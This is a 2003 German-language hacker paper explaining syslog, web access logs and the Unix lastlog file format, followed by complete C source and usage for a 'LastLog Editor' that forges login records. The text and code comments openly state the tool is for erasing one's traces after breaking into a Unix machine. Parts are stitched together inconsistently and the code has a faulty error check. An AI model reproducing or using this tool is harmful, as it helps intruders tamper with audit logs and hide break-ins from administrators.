Web/ Lastlog Log Files - LogEditor by Simon Moser aka Zodiac 1.0 Introduction -------------------------- Dieser Artikel wurde geschrieben, um Unix Benutzern zu zeigen, wie einfach es ist ein Unix Log File zu schreiben. Durch eine Diskussion mit Danny (ebcvg.com) entstand dieses Paper. Es werden grundsätzlich die Hintergrundinformationen zu Unix Log Files erklärt, die Struktur wird näher erklärt sowie die verschiedenen Typen von Log Files aufgezählt. Durch den Editor können die Log Files modifiziert werden, so dass es möglich wird gefälschte Log Files herzustellen. Diesen Vorteil kommt vorallem zugunsten, wenn man in eine Unix-Maschine eingebrochen ist und deren Logs abändern will. 1.1 Webserver Logs -------------------------------- Auf einem Linux-Rechner protokolliert der syslogd-Daemon alle Meldungen in den Log-Files. Diese liegen in der Regel im Verzeichnis "/var/log" auf dem System selbst. Ein Angreifer muss sich also in der Regel nur um die Dateien in diesem Verzeichnis kümmern. Wir stehen jedoch vor einem Problem, wenn die Log-Files nicht mehr lokal auf dem System liegen. Die aufgezeichneten Informationen lassen sich nur mit großem Aufwand oder gar nicht mehr modifizieren, wenn sie auf einem anderen Rechner liegen. Der Eindringling müsste dann erst noch diesen anderen Host kapern. In der Konfigurationsdatei "/etc/syslog.conf" steht, wo syslogd die Meldungen speichert. Normalerweise sind für die entsprechenden Meldungsarten Dateien angegeben, in denen die Protokollierung erfolgen soll. So bewirkt beispielsweise das Kommando kern.* -/var/log/kern.log, dass alle Kernelmeldungen in der Datei "/var/log/kern.log" landen. Um alle Meldungen auf einem anderen Host zu protokollieren, geben Sie in dieser Datei die Zeile *.* @host an. "host" steht hierbei für den Netzwerknamen des Computers, auf dem die Meldungen protokolliert werden sollen. Auf diesem Host muss allerdings ebenfalls ein syslogd laufen. Der Remote-Host protokolliert die Meldungen nun in seinen Log-Files mit. Bedenken Sie, dass es sinnvoll ist, die Log-Files durch die standardmäßig angegeben Aktionszeilen in "/etc/syslog.conf" zusätzlich auch lokal zu halten. Damit hat der Hacker dann immerhin eine Spielwiese und er merkt vielleicht nicht sofort, dass die Aufzeichnung seiner Aktivitäten auch remote erfolgt. Außerdem bietet dieses redundante Führen von Log-Files einen weiteren Vorteil: Programme können die Meldungen vergleichen und somit Modifikationen erkennen. Allerdings benötigt man hierfür ein relativ intelligentes Programm, da die Zeiteinträge zwischen den jeweiligen Log-Files zumindest im Sekundenbereich differieren können. Leider hat die Remote-Protokollierung einen kleinen Haken: Kommt beim syslogd eine wahre Flut von Meldungen an, findet die Protokollierung nicht mehr korrekt statt. Jeder einzelne Zugriff auf eine Datei auf Ihrem Server erhält dabei eine eigene Zeile, die diesem ufbau entspricht. Als erstes sieht man immer die IP des Besuchers. Dahinter kommt das Datum und die U hrzeit des Zugriffs, die +0100 steht für die Mitteileuropäische Zeitzone. Hinter den allgemeinen Daten kommen nun die Zugriffsdaten: Als erstes was gemacht wurde. GET bedeutet, die Datei wurde abgerufen (anders als zB POST). Hinter GET steht die Abgerufene Datei, hier die index.htm im Root. Als letztes wird das Zugriffsprotokoll genannt: HTTP 1.0. Das nächste wichtige ist die nun folgende, 3stellige Zahl (hier 200). Dies ist der übertragungscode. 200 Bedeutet OK, wichtig ist noch 404, das bedeutet "Aufgerufene Seite nicht vorhanden". Hinter dem Übertragungscode folgt eine Zahl, die genau angibt, wieviele Bytes beim Zugriff auf diese Datei übertragen wurden. Von grosser Bedeutung ist der folgende Wert (hier nur ein "-"): Hier steht, wo der Besucher hergekommen ist; der sogenannte Referrer. Dort steht die URl einer Seite, so zB einer Suchmaschine. In dieser URl steht bei Suchmaschinen dann meistens auch das bzw. die Suchwörter nach denen gesucht wurde. Das letzte in dieser Zeile ist der User Agent, hier stehen meistens Informationen zum Browser und zum Land, ist aber nicht zwingend. Suchmaschinen Roboter übermitteln hier Ihre Botbezeichnung. Mit diesen schnell vermittelten grundkenntnissen kann man nun seine Logfiles durchsehen und die Besucher analysieren. Bei grossen Logfiles sind Programme zu empfehlen, die die wichtigsten Daten aufschlüsseln, dazu siehe den Link unten. Was der Anfänger nun als nette spielerei abtun mag, ist für die weitere Entwicklung der Seite von Entscheidender Bedeutung. Die Struktur der Logs sehen auf meinem Webserver seheh so aus: (access logs) 172.140.155.171 - - [23/Mar/2003:04:26:27 +0100] "GET /_vti_bin/owssvr.dll?UL=1&ACT=4&BUILD=2614&STRM VER=4&CAPREQ=0 HTTP/1.1" 403 307 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.2.6; .NET CLR 1.0.3705)" 172.140.155.171 - - [23/Mar/2003:04:28:28 +0100] "GET /papers/telnet_guide.txt HTTP/1.1" 200 23490 "http://www.google.com/search?q=POP3+tutorial&hl=en&lr=&ie=UTF-8&oe=UTF-8&start=40&sa=N" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.2.6; .NET CLR 1.0.3705)" 64.3.184.111 - - [23/Mar/2003:04:30:54 +0100] "GET /papers/netstat.htm HTTP/1.1" 200 53939 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)" 64.3.184.111 - - [23/Mar/2003:04:35:14 +0100] "GET /papers/linux_kernels.htm HTTP/1.1" 404 302 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)" 1. Hostname bzw. IP-Adresse des Klienten 2. Username am Klienten (praktisch immer leer) 3. Remote User (meistens leer; außer bei passwortgeschützten Seiten) 4. Datum und Uhrzeit (inkl. Zeitzone - Abweichung zu UTC) 5. Request: Methode (GET, POST, HEAD, ..), URL und Protokoll 6. Return Code (siehe die Liste der Return-Codes; weitere Informationen in RFC 2068) 7. Anzahl der übertragenen Bytes 8. HTTP_REFERER: enthält (meistens) den URL der Seite, von der aus auf das Dokument verwiesen wurde. 9. HTTP_USER_AGENT:enthält (meistens) Name und Version des verwendeten Browsers. 1.2 Lastlog logging file ------------------------------------ Der LastLog Log file beinhaltet von jedem User Informationen auf einer Unix-Maschine. Um dieses File zu betrachten kann man nicht einen gewähnlichen Editor nehmen, man kann jedoch den Lastlog Command benutzen um den login-name (user), port (terminal), last-login, Zeit und Datum anzeigen zu lassen. Wenn der User nie eingeloggt war, erscheint folgende Ausgabe: [simon@linux ~]$ lastlog -u adm Username Port From Latest adm **Never logged in** Wenn der User auf dem System existiert und er mindestens einmal eingeloggt war erscheint folgendes: [simon@linux ~]$ lastlog -u simon Username Port From Latest danny :0 Thu Mar 27 15:46:08 +0000 2003 [simon@linux ~]$ lastlog -u root Username Port From Latest root tty1 Sam Mar 29 23:29:49 +0000 2003 Das System speichert die Informationen in /var/log/lastlog (oder in /var/adm/lastlog). Wenn man keinen spezifizierten Benutzer anwählt, erscheinen alle logs sortiert nach UID. [simon@linux ~]$ lastlog | less Username Port From Latest root tty1 Thu Mar 27 23:29:49 +0000 2003 bin **Never logged in** daemon **Never logged in** adm **Never logged in** ... ... simon :0 Mon Mar 24 15:46:08 +0000 2003 Wenn wir uns die ersten 4 Zeilen von etc/pwd ansehen und sie mit den ersten 4 Zeilen von lastlog | less vergleichen, erscheint folgende Ausgabe: [simon@linux ~]$ head -n 4 /etc/passwd root:x:0.... bin:x:1.... daemon:x:2... adm:x3:... Das Lastlog log file beinhaltet alle gültigen Users auf dem System inklusiv allen Details über die Login Informationen. Wenn man neue Benutzer anlegt wird ihm eine neue unique ID zugewiesen und das Lastlog log file wird automatisch neu generiert: 0 (struct lastlog) address: 0 (UID) x sizeof(struct lastlog) 1 (struct lastlog) address: 1 (UID) x sizeof(struct lastlog) .. .. 500 (struct lastlog) address: 500 (UID) x sizeof(struct lastlog) * If you add a new user, a new entry will be supplied to that user * 501 (struct lastlog) address: 501 (UID) x sizeof(struct lastlog) 1.3 Lastlog Editor ------------------------------ Im Lastlog Editor wurde die Lastlog Struktur verwendet, die unter /bits/utmp.h (/usr/include/bits/utmp.h) zu finden ist. Die Struktur sieht wie folgt aus: struct lastlog { __time_t ll_time; char ll_line[UT_LINESIZE]; char ll_host[UT_HOSTSIZE]; } Das ll_time drückt aus, um welche Zeit und Datum der User sich angemeldet hat. ll_line bezieht sich auf den Terminal, von welchem sich der User angemeldet hat. Das Ziel ist nun, diese Struktur Informationen abzuändern für den Root-Account. Der login des root accountes sieht so aus: [simon@linux ~]$ lastlog -u root Username Port From Latest root tty1 Mon Mar 24 23:29:49 +0000 2003 So war ich am Montag deb 24 März 2003 um 23:29:49 als root angemeldet. Wenn ich mich nun mit einem root oder einem anderen account einlogge, wird alles im /var/log/lastog (/var/adm/lastlog) aufgezeichnet. Das könnte nun einen negativen Einfluss haben, wenn ein seriöser Administrator der Lastlog überprüft ;) Dem wurde abgeholfen: /* * Lastlog log editor * * Useful to delete your traces when you break into a * Unix machine, on which syslog daemon is running. * */ #include #include #include #include #include #include static char *s_hname = NULL; /* hostname */ static char *s_tdate = NULL; /* time & date */ static char *s_term = NULL; /* s_terminal/port */ static void usage(char *argv) { /* print usage for LastLog editor */ printf("LastLog Editor by Danny (Dr.T)\nUsage: %s [options]", argv); printf(" [-h hostname]"); printf(" -d date"); printf(" -t s_terminal\n"); exit(-1); } static void free_memory_and_exit(char *msg) { if (msg) fprintf(stderr, "Error: %s\n", msg); if (s_hname) { free(s_hname); s_hname = NULL; } if (s_tdate) { free(s_tdate); s_tdate = NULL; } if (s_term) { free(s_term); s_term = NULL; } exit(-1); } int main(int argc, char **argv) { struct lastlog sll; int c, file_hd = -1, sz_ll; /* check if we are running as root */ if (getuid() > 0) { free_memory_and_exit("only root can run me!!"); } /* check if we got seven or five (hostname omitted) arguments */ if (argc != 7 && argc != 5) usage(argv[0]); while ((c = getopt(argc, argv, "h:d:t:")) != -1) { if (optarg == NULL) free_memory_and_exit("command line parsing failed"); switch(c) { case 'h': if (strlen(optarg) > UT_HOSTSIZE -1) free_memory_and_exit("hostname too long"); s_hname = (char *)malloc(strlen(optarg)+1); if (s_hname == NULL) free_memory_and_exit("malloc() failed"); strcpy(s_hname,optarg); break; case 'd': s_tdate = (char *)malloc(strlen(optarg)+1); if (s_tdate == NULL) { free_memory_and_exit("malloc() failed"); } strcpy(s_tdate,optarg); break; case 't': s_term = (char *)malloc(strlen(optarg)+1); if (s_term == NULL) { free_memory_and_exit("malloc() failed"); } strcpy(s_term,optarg); break; default: free_memory_and_exit("command line parsing failed"); break; } } /* open lastlog file and check for errors */ file_hd = open ("/var/log/lastlog", O_RDWR); if (file_hd < -1) free_memory_and_exit("open() /var/log/lastlog failed"); /* get the lastlog struct size */ sz_ll = sizeof (struct lastlog); /* set file pointer to the UID lastlog structure */ if ((lseek(file_hd, sz_ll * getuid(), SEEK_SET)) < 0) free_memory_and_exit("lseek() failed"); /* read information about UID to sll */ if ((read(file_hd, &sll, sz_ll)) < 0) free_memory_and_exit("read() failed"); /* set new time & date */ sll.ll_time = atoi(s_tdate); /* set new s_terminal/port */ strncpy(sll.ll_line, s_term, sizeof(sll.ll_line)); /* set the new hostname if specified */ if (s_hname == NULL) sll.ll_host[0] = '\0'; else strcpy(sll.ll_host, s_hname); /* set file pointer to the UID lastlog structure */ if ((lseek(file_hd, sz_ll * getuid(), SEEK_SET)) < 0) free_memory_and_exit("lseek() failed"); /* write new information */ if ((write(file_hd, &sll, sz_ll)) < 0) free_memory_and_exit("write() failed"); /* close /var/log/lastlog */ close(file_hd); fprintf(stdout, "LastLog editor was successfully updated information\n"); } Das Programm kann mit dem gcc compiliert werden: [simon@linux ~]$ gcc -o lastloge lastloge.c [simon@linux ~]$ su root_password [root@linux ~]# ./lastloge -h home.network.com -d 103674899 -t tty1 LastLog Editor was successfully updated information [root@linux ~]# lastlog -u root Username Port From Latest root tty1 home.network.com Sun Apr 15 00:34:59 +0000 1973 1.4 Schlusswort -------------------- Einen grossen Dank geht an Danny, der trotz vielen Programmierversuchen nicht aufgegebem hat. Durch das ständige Kommunizieren mit Danny und beraten entstand dieser Artikel. Falls es Probleme geben sollte könnt ihr mich oder Danny kontaktieren. Wichtige Links: http://www.ebcvg.com http://www.thehackerschoice.com http://www.computersecurity.ch http://www.kryptocrew.de http://www.eyeonsecurity.net http://elnino.h23.net http://www.gnupg.org Grüsse gehen an: s-a Freak, Daniel B, V|RuS, PhoenYx, Nostalg1c, Cerebrus, Phil, Daenu & Doxical (c) 2003, s.moser@computer-security.ch , admin@ebcvg.com